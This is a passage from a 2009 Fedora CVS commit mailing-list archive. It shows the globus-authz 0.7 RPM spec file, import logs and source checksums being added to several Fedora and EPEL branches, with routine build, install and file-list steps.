%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}
%dir %{_docdir}/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/GLOBUS_LICENSE

%files -f package-devel.filelist devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/%{name}.pc

%files -f package-doc.filelist doc
%defattr(-,root,root,-)
%dir %{_docdir}/%{name}-%{version}/html

%changelog
* Tue Jul 28 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.7-1
- Autogenerated


--- NEW FILE import.log ---
globus-authz-0_7-1_fc11:HEAD:globus-authz-0.7-1.fc11.src.rpm:1255952504


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-authz/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	17 Oct 2009 20:48:29 -0000	1.1
+++ .cvsignore	19 Oct 2009 11:42:04 -0000	1.2
@@ -0,0 +1,2 @@
+epstopdf-2.9.5gw
+globus_authz-0.7.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-authz/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:48:29 -0000	1.1
+++ sources	19 Oct 2009 11:42:04 -0000	1.2
@@ -0,0 +1,2 @@
+44ec158f5ca5f60310cca74a3aaaea2b  epstopdf-2.9.5gw
+1a8545fe6c39b92ea1f15a4d65a2104d  globus_authz-0.7.tar.gz



From ellert at fedoraproject.org  Mon Oct 19 11:43:15 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Mon, 19 Oct 2009 11:43:15 +0000 (UTC)
Subject: rpms/globus-authz/F-12 globus-authz.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091019114315.6023011C00DC@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-authz/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29708/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	globus-authz.spec import.log 
Log Message:
* Tue Jul 28 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.7-1
- Autogenerated



--- NEW FILE globus-authz.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:		globus-authz
%global _name %(tr - _ <<< %{name})
Version:	0.7
Release:	1%{?dist}
Summary:	Globus Toolkit - Globus authz library

Group:		System Environment/Libraries
License:	ASL 2.0
URL:		http://www.globus.org/
#		Source is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/gsi/authz/source globus_authz-0.7
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_authz-0.7
#		tar -zcf globus_authz-0.7.tar.gz globus_authz-0.7
Source:		%{_name}-%{version}.tar.gz
#		This is a workaround for the broken epstopdf script in RHEL5
#		See: https://bugzilla.redhat.com/show_bug.cgi?id=450388
Source9:	epstopdf-2.9.5gw
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:	globus-common
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-authz-callout-error-devel%{?_isa}
BuildRequires:	globus-callout-devel%{?_isa}
BuildRequires:	globus-gssapi-gsi-devel%{?_isa} >= 4
BuildRequires:	doxygen
BuildRequires:	graphviz
%if "%{?rhel}" == "5"
BuildRequires:	graphviz-gd
%endif
BuildRequires:	ghostscript
%if %{?fedora}%{!?fedora:0} >= 9 || %{?rhel}%{!?rhel:0} >= 6
BuildRequires:	tex(latex)
%else
BuildRequires:	tetex-latex
%endif

%package devel
Summary:	Globus Toolkit - Globus authz library Development Files
Group:		Development/Libraries
Requires:	%{name}%{?_isa} = %{version}-%{release}
Requires:	globus-authz-callout-error-devel%{?_isa}
Requires:	globus-callout-devel%{?_isa}
Requires:	globus-gssapi-gsi-devel%{?_isa} >= 4

%package doc
Summary:	Globus Toolkit - Globus authz library Documentation Files
Group:		Documentation
%if %{?fedora}%{!?fedora:0} >= 10 || %{?rhel}%{!?rhel:0} >= 6
BuildArch:	noarch
%endif
Requires:	%{name} = %{version}-%{release}

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
Globus authz library

%description devel
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-devel package contains:
Globus authz library Development Files

%description doc
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-doc package contains:
Globus authz library Documentation Files

%prep
%setup -q -n %{_name}-%{version}

%if "%{rhel}" == "5"
mkdir bin
install %{SOURCE9} bin/epstopdf
%endif

%build
%if "%{rhel}" == "5"
export PATH=$PWD/bin:$PATH
%endif

# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

# Remove flavor tags
for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor} --enable-doxygen

make %{?_smp_mflags}

%install
%if "%{rhel}" == "5"
export PATH=$PWD/bin:$PATH
%endif

rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# Remove libtool archives (.la files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc

# Move documentation to default RPM location
mv $RPM_BUILD_ROOT%{_docdir}/%{_name} \
  $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
sed s!doc/%{_name}!doc/%{name}-%{version}! \
  -i $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist

# Remove unwanted documentation (needed for RHEL4)
rm -f $RPM_BUILD_ROOT%{_mandir}/man3/*_%{_name}-%{version}_*.3
sed -e '/_%{_name}-%{version}_.*\.3/d' \
  -i $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist

# Install license file
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -m 644 -p GLOBUS_LICENSE $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist \
  | sed s!^!%{_prefix}! > package.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist \
  | sed s!^!%{_prefix}! > package-devel.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist \
  | sed -e 's!/man/.*!&*!' -e 's!^!%doc %{_prefix}!' > package-doc.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}
%dir %{_docdir}/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/GLOBUS_LICENSE

%files -f package-devel.filelist devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/%{name}.pc

%files -f package-doc.filelist doc
%defattr(-,root,root,-)
%dir %{_docdir}/%{name}-%{version}/html

%changelog
* Tue Jul 28 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.7-1
- Autogenerated


--- NEW FILE import.log ---
globus-authz-0_7-1_fc11:F-12:globus-authz-0.7-1.fc11.src.rpm:1255952576


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-authz/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	17 Oct 2009 20:48:29 -0000	1.1
+++ .cvsignore	19 Oct 2009 11:43:15 -0000	1.2
@@ -0,0 +1,2 @@
+epstopdf-2.9.5gw
+globus_authz-0.7.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-authz/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:48:29 -0000	1.1
+++ sources	19 Oct 2009 11:43:15 -0000	1.2
@@ -0,0 +1,2 @@
+44ec158f5ca5f60310cca74a3aaaea2b  epstopdf-2.9.5gw
+1a8545fe6c39b92ea1f15a4d65a2104d  globus_authz-0.7.tar.gz



From ellert at fedoraproject.org  Mon Oct 19 11:44:10 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Mon, 19 Oct 2009 11:44:10 +0000 (UTC)
Subject: rpms/globus-authz/F-11 globus-authz.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091019114410.56DF911C00DC@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-authz/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30026/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	globus-authz.spec import.log 
Log Message:
* Tue Jul 28 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.7-1
- Autogenerated



--- NEW FILE globus-authz.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:		globus-authz
%global _name %(tr - _ <<< %{name})
Version:	0.7
Release:	1%{?dist}
Summary:	Globus Toolkit - Globus authz library

Group:		System Environment/Libraries
License:	ASL 2.0
URL:		http://www.globus.org/
#		Source is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/gsi/authz/source globus_authz-0.7
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_authz-0.7
#		tar -zcf globus_authz-0.7.tar.gz globus_authz-0.7
Source:		%{_name}-%{version}.tar.gz
#		This is a workaround for the broken epstopdf script in RHEL5
#		See: https://bugzilla.redhat.com/show_bug.cgi?id=450388
Source9:	epstopdf-2.9.5gw
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:	globus-common
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-authz-callout-error-devel%{?_isa}
BuildRequires:	globus-callout-devel%{?_isa}
BuildRequires:	globus-gssapi-gsi-devel%{?_isa} >= 4
BuildRequires:	doxygen
BuildRequires:	graphviz
%if "%{?rhel}" == "5"
BuildRequires:	graphviz-gd
%endif
BuildRequires:	ghostscript
%if %{?fedora}%{!?fedora:0} >= 9 || %{?rhel}%{!?rhel:0} >= 6
BuildRequires:	tex(latex)
%else
BuildRequires:	tetex-latex
%endif

%package devel
Summary:	Globus Toolkit - Globus authz library Development Files
Group:		Development/Libraries
Requires:	%{name}%{?_isa} = %{version}-%{release}
Requires:	globus-authz-callout-error-devel%{?_isa}
Requires:	globus-callout-devel%{?_isa}
Requires:	globus-gssapi-gsi-devel%{?_isa} >= 4

%package doc
Summary:	Globus Toolkit - Globus authz library Documentation Files
Group:		Documentation
%if %{?fedora}%{!?fedora:0} >= 10 || %{?rhel}%{!?rhel:0} >= 6
BuildArch:	noarch
%endif
Requires:	%{name} = %{version}-%{release}

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
Globus authz library

%description devel
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-devel package contains:
Globus authz library Development Files

%description doc
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-doc package contains:
Globus authz library Documentation Files

%prep
%setup -q -n %{_name}-%{version}

%if "%{rhel}" == "5"
mkdir bin
install %{SOURCE9} bin/epstopdf
%endif

%build
%if "%{rhel}" == "5"
export PATH=$PWD/bin:$PATH
%endif

# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

# Remove flavor tags
for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor} --enable-doxygen

make %{?_smp_mflags}

%install
%if "%{rhel}" == "5"
export PATH=$PWD/bin:$PATH
%endif

rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# Remove libtool archives (.la files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc

# Move documentation to default RPM location
mv $RPM_BUILD_ROOT%{_docdir}/%{_name} \
  $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
sed s!doc/%{_name}!doc/%{name}-%{version}! \
  -i $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist

# Remove unwanted documentation (needed for RHEL4)
rm -f $RPM_BUILD_ROOT%{_mandir}/man3/*_%{_name}-%{version}_*.3
sed -e '/_%{_name}-%{version}_.*\.3/d' \
  -i $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist

# Install license file
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -m 644 -p GLOBUS_LICENSE $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist \
  | sed s!^!%{_prefix}! > package.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist \
  | sed s!^!%{_prefix}! > package-devel.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist \
  | sed -e 's!/man/.*!&*!' -e 's!^!%doc %{_prefix}!' > package-doc.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}
%dir %{_docdir}/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/GLOBUS_LICENSE

%files -f package-devel.filelist devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/%{name}.pc

%files -f package-doc.filelist doc
%defattr(-,root,root,-)
%dir %{_docdir}/%{name}-%{version}/html

%changelog
* Tue Jul 28 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.7-1
- Autogenerated


--- NEW FILE import.log ---
globus-authz-0_7-1_fc11:F-11:globus-authz-0.7-1.fc11.src.rpm:1255952632


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-authz/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	17 Oct 2009 20:48:29 -0000	1.1
+++ .cvsignore	19 Oct 2009 11:44:10 -0000	1.2
@@ -0,0 +1,2 @@
+epstopdf-2.9.5gw
+globus_authz-0.7.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-authz/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:48:29 -0000	1.1
+++ sources	19 Oct 2009 11:44:10 -0000	1.2
@@ -0,0 +1,2 @@
+44ec158f5ca5f60310cca74a3aaaea2b  epstopdf-2.9.5gw
+1a8545fe6c39b92ea1f15a4d65a2104d  globus_authz-0.7.tar.gz



From ellert at fedoraproject.org  Mon Oct 19 11:45:11 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Mon, 19 Oct 2009 11:45:11 +0000 (UTC)
Subject: rpms/globus-authz/EL-5 globus-authz.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091019114511.045DE11C00DC@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-authz/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30334/EL-5

Modified Files:
	.cvsignore sources 
Added Files:
	globus-authz.spec import.log 
Log Message:
* Tue Jul 28 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.7-1
- Autogenerated



--- NEW FILE globus-authz.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:		globus-authz
%global _name %(tr - _ <<< %{name})
Version:	0.7
Release:	1%{?dist}
Summary:	Globus Toolkit - Globus authz library

Group:		System Environment/Libraries
License:	ASL 2.0
URL:		http://www.globus.org/
#		Source is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/gsi/authz/source globus_authz-0.7
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_authz-0.7
#		tar -zcf globus_authz-0.7.tar.gz globus_authz-0.7
Source:		%{_name}-%{version}.tar.gz
#		This is a workaround for the broken epstopdf script in RHEL5
#		See: https://bugzilla.redhat.com/show_bug.cgi?id=450388
Source9:	epstopdf-2.9.5gw
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:	globus-common
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-authz-callout-error-devel%{?_isa}
BuildRequires:	globus-callout-devel%{?_isa}
BuildRequires:	globus-gssapi-gsi-devel%{?_isa} >= 4
BuildRequires:	doxygen
BuildRequires:	graphviz
%if "%{?rhel}" == "5"
BuildRequires:	graphviz-gd
%endif
BuildRequires:	ghostscript
%if %{?fedora}%{!?fedora:0} >= 9 || %{?rhel}%{!?rhel:0} >= 6
BuildRequires:	tex(latex)
%else
BuildRequires:	tetex-latex
%endif

%package devel
Summary:	Globus Toolkit - Globus authz library Development Files
Group:		Development/Libraries
Requires:	%{name}%{?_isa} = %{version}-%{release}
Requires:	globus-authz-callout-error-devel%{?_isa}
Requires:	globus-callout-devel%{?_isa}
Requires:	globus-gssapi-gsi-devel%{?_isa} >= 4

%package doc
Summary:	Globus Toolkit - Globus authz library Documentation Files
Group:		Documentation
%if %{?fedora}%{!?fedora:0} >= 10 || %{?rhel}%{!?rhel:0} >= 6
BuildArch:	noarch
%endif
Requires:	%{name} = %{version}-%{release}

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
Globus authz library

%description devel
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-devel package contains:
Globus authz library Development Files

%description doc
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-doc package contains:
Globus authz library Documentation Files

%prep
%setup -q -n %{_name}-%{version}

%if "%{rhel}" == "5"
mkdir bin
install %{SOURCE9} bin/epstopdf
%endif

%build
%if "%{rhel}" == "5"
export PATH=$PWD/bin:$PATH
%endif

# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

# Remove flavor tags
for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor} --enable-doxygen

make %{?_smp_mflags}

%install
%if "%{rhel}" == "5"
export PATH=$PWD/bin:$PATH
%endif

rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# Remove libtool archives (.la files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc

# Move documentation to default RPM location
mv $RPM_BUILD_ROOT%{_docdir}/%{_name} \
  $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
sed s!doc/%{_name}!doc/%{name}-%{version}! \
  -i $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist

# Remove unwanted documentation (needed for RHEL4)
rm -f $RPM_BUILD_ROOT%{_mandir}/man3/*_%{_name}-%{version}_*.3
sed -e '/_%{_name}-%{version}_.*\.3/d' \
  -i $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist

# Install license file
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -m 644 -p GLOBUS_LICENSE $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist \
  | sed s!^!%{_prefix}! > package.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist \
  | sed s!^!%{_prefix}! > package-devel.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist \
  | sed -e 's!/man/.*!&*!' -e 's!^!%doc %{_prefix}!' > package-doc.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}
%dir %{_docdir}/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/GLOBUS_LICENSE

%files -f package-devel.filelist devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/%{name}.pc

%files -f package-doc.filelist doc
%defattr(-,root,root,-)
%dir %{_docdir}/%{name}-%{version}/html

%changelog
* Tue Jul 28 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.7-1
- Autogenerated


--- NEW FILE import.log ---
globus-authz-0_7-1_fc11:EL-5:globus-authz-0.7-1.fc11.src.rpm:1255952693


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-authz/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	17 Oct 2009 20:48:29 -0000	1.1
+++ .cvsignore	19 Oct 2009 11:45:10 -0000	1.2
@@ -0,0 +1,2 @@
+epstopdf-2.9.5gw
+globus_authz-0.7.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-authz/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:48:29 -0000	1.1
+++ sources	19 Oct 2009 11:45:10 -0000	1.2
@@ -0,0 +1,2 @@
+44ec158f5ca5f60310cca74a3aaaea2b  epstopdf-2.9.5gw
+1a8545fe6c39b92ea1f15a4d65a2104d  globus_authz-0.7.tar.gz



From ellert at fedoraproject.org  Mon Oct 19 11:46:07 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Mon, 19 Oct 2009 11:46:07 +0000 (UTC)
Subject: rpms/globus-authz/EL-4 globus-authz.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091019114607.3C86311C00DC@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-authz/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30635/EL-4

Modified Files:
	.cvsignore sources 
Added Files:
	globus-authz.spec import.log 
Log Message:
* Tue Jul 28 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.7-1
- Autogenerated



--- NEW FILE globus-authz.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:		globus-authz
%global _name %(tr - _ <<< %{name})
Version:	0.7
Release:	1%{?dist}
Summary:	Globus Toolkit - Globus authz library

Group:		System Environment/Libraries
License:	ASL 2.0
URL:		http://www.globus.org/
#		Source is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/gsi/authz/source globus_authz-0.7
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_authz-0.7
#		tar -zcf globus_authz-0.7.tar.gz globus_authz-0.7
Source:		%{_name}-%{version}.tar.gz
#		This is a workaround for the broken epstopdf script in RHEL5
#		See: https://bugzilla.redhat.com/show_bug.cgi?id=450388
Source9:	epstopdf-2.9.5gw
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:	globus-common
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-authz-callout-error-devel%{?_isa}
BuildRequires:	globus-callout-devel%{?_isa}
BuildRequires:	globus-gssapi-gsi-devel%{?_isa} >= 4
BuildRequires:	doxygen
BuildRequires:	graphviz
%if "%{?rhel}" == "5"
BuildRequires:	graphviz-gd
%endif
BuildRequires:	ghostscript
%if %{?fedora}%{!?fedora:0} >= 9 || %{?rhel}%{!?rhel:0} >= 6
BuildRequires:	tex(latex)
%else
BuildRequires:	tetex-latex
%endif

%package devel
Summary:	Globus Toolkit - Globus authz library Development Files
Group:		Development/Libraries
Requires:	%{name}%{?_isa} = %{version}-%{release}
Requires:	globus-authz-callout-error-devel%{?_isa}
Requires:	globus-callout-devel%{?_isa}
